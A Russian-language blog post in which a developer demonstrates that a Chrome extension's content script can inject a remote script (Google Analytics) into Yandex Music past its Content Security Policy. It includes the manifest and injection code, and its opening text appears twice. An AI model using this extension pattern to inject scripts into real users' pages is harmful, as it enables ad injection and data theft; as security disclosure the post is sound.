Не так давно настроил я на своем проекте CSP (content security policy), и решил что жизнь удалась. Ведь теперь невозможно подгрузить скрипты с запрещенных ресурсов, и даже о попытке сделать это, я буду уведомлен соответствующей ошибкой. А если кто-то и подгрузить скрипт, то все равно ничего не сможет передать, ведь ajax запросы отправляются только на мои сервера.
Так я подумал, и был какое-то время спокоен.
А еще я использовал расширение HTTP Headers, которое помогало мне просматривать заголовки ответов сервера в удобном виде. В один прекрасный день, я увидел на своих ресурсах рекламу, которой там никогда не было. Немного просмотрев код и поэкспериментировав, я понял, что именно это расширение добавляло рекламу на все сайты, которые я посещаю. Код расширения, к сожалению, я не скопировал вовремя, и на данный момент оно уже удалено из магазина расширений с пометкой “ содержит вредоносное ПО”. С этого и начну свой рассказ.
Мне стало очень интересно, как так, ведь у меня есть четкие правила для браузера о политике загрузки скриптов и отправки данных с моей страницы, а тут я вижу, что настройки безопасности ну очень слабо повышают безопасность пользователей, если они пользуются расширениями для браузера (в данном случае конкретно Google Chrome). Поэтому я решил воссоздать такое расширение, которое смогло бы загружать скрипты с удаленного сервера в обход CSP.
Писать расширения для браузера не очень сложно, об этом было много статей, в частности и от Google , поэтому я не буду останавливаться более подробно на самом написании расширения.
В качестве примера, был выбран сайт Яндекс музыка по нескольким причинам:
Собираем зловредное расширение (готовую версию вы можете посмотреть на GitHub):
Внимательно просмотрев, откуда яндекс разрешает загрузить скрипты
Я решил что в этом списке явно не хватает гугл-аналитики, поэтому в качестве “зловредного” подгружаемого скрипта, я выбираю https://google-analytics.com/analytics.js, тем более что многие называют Google — “корпорацией добра”. Такой выбор обусловлен следующими критериями:
В этом есть еще один бонус, т.к. я смогу подгруженным скриптом симулировать запросы без поднятия своего сервера и дополнительного кода (разумеется, гугл аналитика не даст посмотреть собранную информацию если я не владелец сайта, но я и не преследовал цель собрать какую то информацию, только демонстрация обхода блокировок).
Скрипт беру стандартный, из мануала, только номер счетчика придумываю из головы:
Для начала, пробую выполнить этот скрипт из консоли, чтобы проверить, а работает ли вообще CSP на этом сайте, и вижу следующее:
Теперь попробую добавить все то же самое в расширение, и вот, все работает. Скрипт успешно добавлен на страницу, не сгенерировав ни единой ошибки.
Да, многие скажут что выбор расширений это личное дело каждого, да и гугл более или менее оперативно заблокировал расширение (в течении недели с того момента как я сам понял, что оно спамит меня рекламой).
С другой стороны, непонятно сколько оно было вредоносным. Я поясню почему именно вредоносное: добавлялась реклама сомнительных товаров, со ссылками на еще более сомнительные сайты, к тому же, мне к сожалению неизвестно, собирало ли расширение какие-то данные о посещенных мною страницах, и если собирало, то какие, ведь с тем же успехом они могли собирать информацию из форм или просто из посещаемых мною страниц.
Мое мнение таково, что если ресурс сообщает браузеру политику поведения с полученной страницей, то эта политика должна быть абсолютной, и распространяться на всё, в том числе и расширения, а как вы считаете?
Так я подумал, и был какое-то время спокоен.
А еще я использовал расширение HTTP Headers, которое помогало мне просматривать заголовки ответов сервера в удобном виде. В один прекрасный день, я увидел на своих ресурсах рекламу, которой там никогда не было. Немного просмотрев код и поэкспериментировав, я понял, что именно это расширение добавляло рекламу на все сайты, которые я посещаю. Код расширения, к сожалению, я не скопировал вовремя, и на данный момент оно уже удалено из магазина расширений с пометкой “ содержит вредоносное ПО”. С этого и начну свой рассказ.
Мне стало очень интересно, как так, ведь у меня есть четкие правила для браузера о политике загрузки скриптов и отправки данных с моей страницы, а тут я вижу, что настройки безопасности ну очень слабо повышают безопасность пользователей, если они пользуются расширениями для браузера (в данном случае конкретно Google Chrome). Поэтому я решил воссоздать такое расширение, которое смогло бы загружать скрипты с удаленного сервера в обход CSP.
Писать расширения для браузера не очень сложно, об этом было много статей, в частности и от Google , поэтому я не буду останавливаться более подробно на самом написании расширения.
В качестве примера, был выбран сайт Яндекс музыка по нескольким причинам:
- У них есть CSP
- У них достаточно мощные сервера чтобы выдержать всех “кому интересно посмотреть”;
- У них не до конца настроен CSP (на момент написания статьи у них стоит content security policy report only, поэтому я смогу увидеть все сообщения об ошибках о некорректном контенте, но самой блокировки происходить не будет)
Собираем зловредное расширение (готовую версию вы можете посмотреть на GitHub):
1. Файл manifest.json
{
"manifest_version": 2,
"name": "CSP vulnerability",
"description": "This is just an example, please do not use it.",
"version": "1.0",
"browser_action": {
"default_icon": "evil.png",
"default_popup": "popup.html"
},
"content_scripts": [
{
"matches": [ "https://music.yandex.ua/*" ],
"js": [ "evil.js" ],
"run_at": "document_end"
}
],
"permissions": [
"activeTab",
"https://music.yandex.ua/*"
]
}
2. Создать сам «зловредный» скрипт
Внимательно просмотрев, откуда яндекс разрешает загрузить скрипты
"script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru .
Я решил что в этом списке явно не хватает гугл-аналитики, поэтому в качестве “зловредного” подгружаемого скрипта, я выбираю https://google-analytics.com/analytics.js, тем более что многие называют Google — “корпорацией добра”. Такой выбор обусловлен следующими критериями:
- Подключаемый скрипт никому не навредит.
- Он точно работает.
- Он будет пытаться сделать ajax запросы.
- Его смогут подключить все, кто захочет
В этом есть еще один бонус, т.к. я смогу подгруженным скриптом симулировать запросы без поднятия своего сервера и дополнительного кода (разумеется, гугл аналитика не даст посмотреть собранную информацию если я не владелец сайта, но я и не преследовал цель собрать какую то информацию, только демонстрация обхода блокировок).
Скрипт беру стандартный, из мануала, только номер счетчика придумываю из головы:
(function (i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
i[r] = i[r] || function () {
(i[r].q = i[r].q || []).push(arguments)
}, i[r].l = 1 * new Date();
a = s.createElement(o),
m = s.getElementsByTagName(o)[0];
a.async = 1;
a.src = g;
m.parentNode.insertBefore(a, m)
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
ga('create', 'UA-00000000-0', 'auto');
ga('send', 'pageview');
Для начала, пробую выполнить этот скрипт из консоли, чтобы проверить, а работает ли вообще CSP на этом сайте, и вижу следующее:
VM636:10 [Report Only] Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru 'nonce-dWVmJGgsauDNxkDyep5LEg=='".
Теперь попробую добавить все то же самое в расширение, и вот, все работает. Скрипт успешно добавлен на страницу, не сгенерировав ни единой ошибки.
Выводы
Да, многие скажут что выбор расширений это личное дело каждого, да и гугл более или менее оперативно заблокировал расширение (в течении недели с того момента как я сам понял, что оно спамит меня рекламой).
С другой стороны, непонятно сколько оно было вредоносным. Я поясню почему именно вредоносное: добавлялась реклама сомнительных товаров, со ссылками на еще более сомнительные сайты, к тому же, мне к сожалению неизвестно, собирало ли расширение какие-то данные о посещенных мною страницах, и если собирало, то какие, ведь с тем же успехом они могли собирать информацию из форм или просто из посещаемых мною страниц.
Мое мнение таково, что если ресурс сообщает браузеру политику поведения с полученной страницей, то эта политика должна быть абсолютной, и распространяться на всё, в том числе и расширения, а как вы считаете?